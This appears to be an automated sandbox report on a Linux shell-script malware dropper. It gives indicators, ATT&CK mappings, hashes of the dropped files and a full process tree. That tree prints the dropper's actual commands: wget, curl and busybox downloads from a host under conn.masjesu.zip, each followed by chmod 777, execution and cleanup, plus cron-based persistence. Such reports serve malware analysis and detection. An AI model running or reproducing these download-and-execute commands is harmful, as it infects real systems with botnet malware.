b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 06:10

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General

Target

F433W_bins.sh
Size

10KB
MD5

2128d7e395a2eda74b31415f79e2df84
SHA1

eaf344e3ed44c9d46fc9aa91743c11475268dd2b
SHA256

b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
SHA512

f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4
SSDEEP

96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1547) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmod

pid process

932 chmod
940 chmod
730 chmod
785 chmod
818 chmod
826 chmod
924 chmod

pid	process
932	chmod
940	chmod
730	chmod
785	chmod
818	chmod
826	chmod
924	chmod

Executes dropped EXE 7 IoCs

Processes:

Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSsQcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qz25gEXNIJE5CQauEjrWBNsO2haINoBkLWF8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxBnBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

ioc	pid	process
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	731	Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	786	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	819	CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	827	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	925	z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	933	8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	941	nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

Renames itself 1 IoCs

Processes:

QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

pid process

828 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.676B6y crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
828	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.676B6y	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qcrontab

description	ioc	process
File opened for reading	/proc/5/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/937/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1003/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1007/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1046/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/979/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/11/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/71/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/859/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1045/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/890/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/941/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/7/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/15/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/23/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/78/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/659/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/323/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/936/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1024/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/951/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/985/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1005/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1008/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/2/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/3/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/849/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/913/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1025/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/105/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/843/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/869/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/948/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1022/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1032/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1038/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/689/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/840/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/856/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/912/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/852/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/854/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/988/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1041/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/850/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/889/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/966/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1017/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/900/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/903/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/77/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/352/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/835/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/845/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/857/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/996/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/844/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/883/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/952/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/959/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/964/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1053/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
File opened for reading	/proc/1/cmdline	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

System Network Configuration Discovery 1 TTPs 22 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetbusyboxwgetcurlwgetcurlbusyboxcurlwgetbusyboxcurlcurlcurlbusyboxwgetbusyboxwgetwgetwgetbusyboxcurlbusybox

pid	process
928	wget
931	busybox
936	wget
937	curl
700	wget
812	curl
817	busybox
743	curl
822	wget
825	busybox
918	curl
929	curl
721	curl
723	busybox
736	wget
939	busybox
791	wget
837	wget
944	wget
781	busybox
823	curl
923	busybox

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxwgetcurlbusyboxbusyboxcurlcurlbusyboxwgetbusyboxwgetbusyboxcurlbusybox

description	ioc	process
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	wget
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	busybox
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	wget
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	curl
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	busybox
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	busybox
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	curl
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	curl
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	busybox
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	wget
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	busybox
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	busybox
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	curl
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	busybox

/tmp/F433W_bins.sh
/tmp/F433W_bins.sh
1⤵
PID:693
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:698
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:700
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  PID:821
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:827
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:829
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:830
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:831
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:832
- /bin/rm
  rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  PID:834
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:931
- /bin/chmod
  chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/chmod
  chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  PID:943
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  PID:944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/var/spool/cron/crontabs/tmp.676B6y

Filesize
210B

MD5
f0dc41e9689ba6f498099a679e6a3f84

SHA1
1300144bef07dc0d36c2aba7c76bf21553732837

SHA256
0ebca6a3d13533906dcae48a3e2bf59eed991d8f48fd975e111d7bae98fc270d

SHA512
a0cccd707e7425dfc2c27c05279ae18795afd0fedb64f92d4a5489b609ce4d63be9a5872bed47ce604cd42ad9649a764c330796b35b4e1292542f1a1a1ddfd24

Download Submit